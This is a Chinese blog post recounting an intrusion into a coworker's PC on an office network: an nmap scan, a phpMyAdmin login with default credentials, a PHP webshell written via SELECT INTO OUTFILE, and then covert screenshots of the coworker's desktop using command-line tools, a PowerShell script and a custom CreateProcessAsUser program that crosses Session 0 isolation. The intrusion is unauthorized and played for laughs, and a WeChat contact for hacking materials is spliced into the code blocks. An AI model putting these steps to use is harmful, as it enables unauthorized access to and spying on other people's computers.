撸掉隔壁工位的新员工引发的血案

 

正在测试新版glype(http://www.glype.com/)网络代理程序(我不得不说一下这款代理程序是游走内网必备神器,没有之一)的时候用NMAP对本地内网80端口做了个简单的扫描(nmap -T5 10.10.0.0/24 -p80 –open),但是人生处处有惊喜。最近隔壁小伙伴正在搭建它强大的社工裤,本地php环境采用默认安装,并且可以浏览目录,于是我原本纯洁的内心产生了邪恶的念头。

s1

本地存在phpMyAdmin程序,使用默认口令root/root进入后台。

  • 这里可能存在槽点,但请你记住:在内网中使用默认配置,默认口令的开发或者管理人员是安全的软肋。
  • 在拿到WENSHELL后除了吃透本机“资源”,下一步要做的就是对内网其他WEB主机使用常规方法渗透,或许你能在某台机子上抓到域控密码(目的)。

s2

进入数据库管理后台,我们要做的就是使用数据库语句select * into outfile写WEBSHELL,但是在这里我们不知道网站根目录,这个确实有点淡疼。

  • 很多时候WEB服务器采用默认安装模式,所以使用网站路径字典写入测试,类似sqlmap的–os-shell 参数
  • 使用MYSQL UDF(User defined Function,用户定义函数)执行系统命令。

但是先让我们详细分析下我们所有的资源,不行的时候再考虑以上方法。网站目录中存在chunge.zip,不管是什么先下载下来看看,最后在LOG目录中找到程序日志文件,网站绝对路径也就出来了。so,开始我们的写马旅程吧!

s3

写入php一句话

s4

s5

查看当前权限

Default

 

1

[*] 基本信息 [ C:D:        Windows NT USER-20160513DS 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586(SYSTEM) ]

 

Default

 

1

2

3

C:\> whoami

 

nt authority\system

既然是system权限,那想干什么就干什么呗!说的好,但是我最想干的事看看小伙伴在作什么,然后给他taskkill,呵呵呵。所以我们首先需要截个屏幕,一下推荐几个命令行下的截屏小程序,可能会帮到你哦。

  • NirCmd v2.81

http://www.nirsoft.net/utils/nircmd.zip

NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface.

Useage:获取网安资料+WX:machinegunjoe666

nircmd.exe cmdwait 2000 savescreenshot “f:\temp\shot.png”

 

  • CmdCapture 2.0

http://www.ducklink.com/free-command-line-screen-capture.php

CmdCapture is a free command line screen capture software.

Download CmdCapture.exe (Win32 character-mode application. Console applications are given a console by the operating system.)

Download CmdCaptureWin.exe (Application does not require a console.首选静默模式)

 

  • boxcutter 1.5

http://keepnote.org/boxcutter/

boxcutter is a simple command line-driven screenshot program for Microsoft Windows.

这个小工具可以当截图使用,还支持鼠标选取区域,不带路径默认保存到剪贴板中,不过坑爹的是需要回车一下才会结束进程。

Default

 

1

2

3

Useage:

 

boxcutter -f c:\ruo.png

4,powershell 脚本

Default

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

#############################################################################

 

# Capturing a screenshot

 

#############################################################################

 

Param(

 

[Parameter(Mandatory = $true)][string]$Path

 

)

 

 

$FileName = "$env:COMPUTERNAME - $(get-date -f yyyy-MM-dd_HHmmss).bmp"

 

$File = "$Path\$FileName"

 

 

Add-Type -AssemblyName System.Windows.Forms

 

Add-type -AssemblyName System.Drawing

 

 

# Gather Screen resolution information

 

$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen

 

$Width = $Screen.Width

获取网安资料+WX:machinegunjoe666

$Height = $Screen.Height

 

$Left = $Screen.Left

 

$Top = $Screen.Top

 

 

# Create bitmap using the top-left and bottom-right bounds

 

$bitmap = New-Object System.Drawing.Bitmap $Width, $Height

 

 

# Create Graphics object

 

$graphic = [System.Drawing.Graphics]::FromImage($bitmap)

 

 

# Capture screen

 

$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)

 

 

# Save to file

 

$bitmap.Save($File)

 

Useage:

 

Powershell.exe -file sc.ps1 -path c:\

截图工具有了,需要截取当前登录用户的屏幕还需要切换到登陆的用户,首先我能想到的就是runas。

1,RUNAS

RUNAS是WINDOWS系统自带的允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。

Useage:

Default

 

1

runas /user: administrator "nircmd.exe savescreenshot shot.png"

runas是交互式的,需要输入密码,无奈放弃。

 

2,RUNAS + Sanur

http://www.commandline.co.uk/sanur_unsupported/index.html

Sanur is a tiny Win32 console utility that ‘pipes’ a password into the Windows 2000/XP/2003 Runas utility, thereby making Runas scriptable.

Useage:

Default

 

1

runas /u:domain\username program.exe | sanur password

Win7下测试无反应,而且在密码为空的时候很蛋疼(系统拒绝登陆)。

3,CPAU

Useage:

Default

 

1

cpau -u administrator -p " " -ex "nircmd.exe savescreenshot shot.png" -lwp

很有用的一个小工具,Win7下测试通过。

但是在菜刀中执行报错,不能从LocalSystem启动。

Default

 

1

2

3

4

5

6

7

8

9

10

CPAU V01.11.00cpp Joe Richards (joe@joeware.net) November 2005

 

Current Security Context: NT AUTHORITY\SYSTEM

 

 

ERROR:

 

ERROR: CPAU doesn't support running from LocalSystem.

 

ERROR:

通过错误关键字百度搜索

姑且认为次工具无法从SYSTEM的权限下面切换用户,最后用API CreateProcessAsUser实现功能,然后搜索CreateProcessAsUser函数,找到篇” localsystem以指定用户身份运行程序“,作者和我需求有些类似,此致我们知道了session 0 隔离的问题。

“system运行的服务直接截图那么用的就是system的handle,所以是个黑屏或者根本没法截,这时就需要程序在用户账号下运行,可以在服务里嵌入一个exe,然后在账户身份下运行这个exe截图并返回给服务返回给远程连接者,下面就是在system账号下如何以指定用户身份运行程序的方法。

大体就是用wts***的终端服务api枚举所有用户的sessionid,然后query出token来……最后用createprocessasuser运行程序,这样程序就以某用户身份运行了,关键是createprocessasuser是用的可以query出来的token而不是用户名和密码,这样就解决了不知道该用户用户名密码的情况下“让他运行程序”了。”

-引用自原文,我怎么觉得这么乱呢

Default

 

1

WTSEnumerateSessions -> WTSQueryUserToken -> CreateEnvironmentBlock ->CreateProcessAsUser

Session 0 隔离

Windows 7服务的Session 0隔离

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。

s6

将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

s7

使用不同会话运行的实体(应用程序或服务)如果不将自己明确标注为全局命名空间,并提供相应的访问控制设置,将无法互相发送消息,共享UI元素,或共享内核对象。这一过程如下图所示:

s8

我的简单理解是:

  • LocalSystem启动的程序或者服务默认是在session 0 中的,无法与session 1 中的用户模式交互,当然在vista之前不存在这个问题,所以CPAU能畅通无阻。
  • 要跳过这层保护,这也是必须的,远控编程必备技能,我们需要调用CreateProcessAsUser 或其他方法(WCF、.NET远程处理等)进行跨Session 通信。

下面我们需要了解几个必须的API

WTSEnumerateSessions

Retrieves a list of sessions on a Remote Desktop Session Host (RD Session Host) server.

枚举远程桌面session列表。

WTSQueryUserToken

Obtains the primary access token of the logged-on user specified by the session ID. To call this function successfully, the calling application must be running within the context of the LocalSystem account and have the SE_TCB_NAME privilege.

通过session ID获取access token。这个函数很重要,它需要要求程序是 LocalSystem account(组内)用户启动的并且还要有SE_TCB_NAME权限,所以在当前vs下调试这个函数是没法执行的。

s9

CreateProcessAsUser

Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.

 

这个项目编写完毕(见下载地址),本地测试。

s10

由于习惯性把工具传到C:\$Recycle.Bin\目录下,在测试的时候老不生成文件,powershell脚本也报无签名不允许执行,最后放到C:\Windows\temp\ 下执行成功,估计本地用户对C:\$Recycle.Bin\目录的访问存在权限问题。

Default

 

1

C:\$Recycle.Bin\> powershell.exe -file sc2.ps1 -path C:\

无法加载文件 C:\$Recycle.Bin\sc2.ps1。文件 C:\$Recycle.Bin\sc2.ps1 的内容可能已

被篡改,因为该文件的哈希代码与数字签名中存储的哈希代码不匹配。系统将不执行该脚本

。有关详细信息,请参阅 “get-help about_signing”。。

Default

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

+ CategoryInfo         : NotSpecified: (:) [], ParentContainsErrorRecordE

 

xception获取网安资料+WX:machinegunjoe666

 

+ FullyQualifiedErrorId : RuntimeException

 

C:\Windows\temp\> powershell.exe -file sc2.ps1 -path C:\

 

使用“5”个参数调用“CopyFromScreen”时发生异常:“句柄无效。”

 

所在位置 C:\Windows\temp\sc2.ps1:28 字符: 24

 

+ $graphic.CopyFromScreen <<<< ($Left, $Top, 0, 0, $bitmap.Size)

 

+ CategoryInfo         : NotSpecified: (:) [], MethodInvocationException

 

+ FullyQualifiedErrorId : DotNetMethodException

 

Done

 

Default

 

1

c:\Windows\temp\> ConsoleApplication1.exe CmdCaptureWin.exe

s11

我们把图片下载回来看看小伙伴在干嘛吧,哈哈哈

s12

猜猜是德玛死了还是剑豪死了,哈哈,当然你猜不到,下面就做我们爱做的事吧,但这不是本文de重点,不是么?

看到这里的大佬,动动发财的小手 点赞 + 回复 + 收藏,能【 关注 】一波就更好了

为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

① 2000多本网安必看电子书(主流和经典的书籍应该都有了)

② PHP标准库资料(最全中文版)

③ 项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ 渗透测试工具大全

⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全

各位朋友们可以关注+评论一波 然后扫描下方二维码  备注:csdn  即可免费获取全部资料

总结:

  • 不要觉得内网就没什么安全隐患,请及时修改默认安装程序的配置和口令。
  • 对一般服务程序其实没必要使用本地服务模式运行,一被入侵风险巨大,最好以最小权限普通用户模式登陆服务。
  • 不就是截个屏么?何必搞辣么复杂。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我是黑客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值